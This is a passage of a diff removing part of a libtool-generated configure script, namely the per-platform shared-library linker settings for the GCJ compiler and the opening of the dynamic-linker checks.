- hardcode_libdir_flag_spec_GCJ='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag_GCJ="-z nodefs"
- archive_expsym_cmds_GCJ="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_GCJ='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag_GCJ=' ${wl}-bernotok'
- allow_undefined_flag_GCJ=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec_GCJ='$convenience'
- archive_cmds_need_lc_GCJ=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds_GCJ="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- archive_cmds_GCJ='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_minus_L_GCJ=yes
- # see comment about different semantics on the GNU ld section
- ld_shlibs_GCJ=no
- ;;
-
- bsdi[45]*)
- export_dynamic_flag_spec_GCJ=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec_GCJ=' '
- allow_undefined_flag_GCJ=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- archive_cmds_GCJ='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- old_archive_From_new_cmds_GCJ='true'
- # FIXME: Should let the user specify the lib program.
- old_archive_cmds_GCJ='lib /OUT:$oldlib$oldobjs$old_deplibs'
- fix_srcfile_path_GCJ='`cygpath -w "$srcfile"`'
- enable_shared_with_static_runtimes_GCJ=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag_GCJ='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag_GCJ='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag_GCJ='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag_GCJ='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc_GCJ=no
- hardcode_direct_GCJ=no
- hardcode_automatic_GCJ=yes
- hardcode_shlibpath_var_GCJ=unsupported
- whole_archive_flag_spec_GCJ=''
- link_all_deplibs_GCJ=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- archive_cmds_GCJ='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- module_cmds_GCJ='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds_GCJ='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds_GCJ='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs_GCJ=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- freebsd1*)
- ld_shlibs_GCJ=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=yes
- hardcode_minus_L_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- archive_cmds_GCJ='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds_GCJ='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- hardcode_direct_GCJ=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- archive_cmds_GCJ='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
-
- hardcode_direct_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_GCJ=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds_GCJ='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_GCJ='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_GCJ='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- archive_cmds_GCJ='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_GCJ='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_GCJ='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld_GCJ='+b $libdir'
- hardcode_direct_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- ;;
- *)
- hardcode_direct_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_GCJ=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds_GCJ='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_ld_GCJ='-rpath $libdir'
- fi
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- link_all_deplibs_GCJ=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- archive_cmds_GCJ='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- newsos6)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=yes
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- openbsd*)
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_GCJ='${wl}-E'
- else
- case $host_os in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- ;;
- *)
- archive_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_minus_L_GCJ=yes
- allow_undefined_flag_GCJ=unsupported
- archive_cmds_GCJ='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- old_archive_From_new_cmds_GCJ='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- allow_undefined_flag_GCJ=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_GCJ='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- allow_undefined_flag_GCJ=' -expect_unresolved \*'
- archive_cmds_GCJ='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag_GCJ=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_GCJ='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag_GCJ=' -expect_unresolved \*'
- archive_cmds_GCJ='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds_GCJ='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec_GCJ='-rpath $libdir'
- fi
- hardcode_libdir_separator_GCJ=:
- ;;
-
- solaris*)
- no_undefined_flag_GCJ=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- archive_cmds_GCJ='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- archive_cmds_GCJ='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_shlibpath_var_GCJ=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- whole_archive_flag_spec_GCJ='-z allextract$convenience -z defaultextract' ;;
- *)
- whole_archive_flag_spec_GCJ='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- link_all_deplibs_GCJ=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- archive_cmds_GCJ='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_direct_GCJ=yes
- hardcode_minus_L_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- archive_cmds_GCJ='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- reload_cmds_GCJ='$CC -r -o $output$reload_objs'
- hardcode_direct_GCJ=no
- ;;
- motorola)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- sysv4.3*)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_GCJ=no
- export_dynamic_flag_spec_GCJ='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_GCJ=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- ld_shlibs_GCJ=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7*)
- no_undefined_flag_GCJ='${wl}-z,text'
- archive_cmds_need_lc_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- no_undefined_flag_GCJ='${wl}-z,text'
- allow_undefined_flag_GCJ='${wl}-z,nodefs'
- archive_cmds_need_lc_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- hardcode_libdir_flag_spec_GCJ='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator_GCJ=':'
- link_all_deplibs_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- *)
- ld_shlibs_GCJ=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_GCJ" >&5
-$as_echo "$ld_shlibs_GCJ" >&6; }
-test "$ld_shlibs_GCJ" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc_GCJ" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc_GCJ=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds_GCJ in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl_GCJ
- pic_flag=$lt_prog_compiler_pic_GCJ
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag_GCJ
- allow_undefined_flag_GCJ=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc_GCJ=no
- else
- archive_cmds_need_lc_GCJ=yes
- fi
- allow_undefined_flag_GCJ=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc_GCJ" >&5
-$as_echo "$archive_cmds_need_lc_GCJ" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
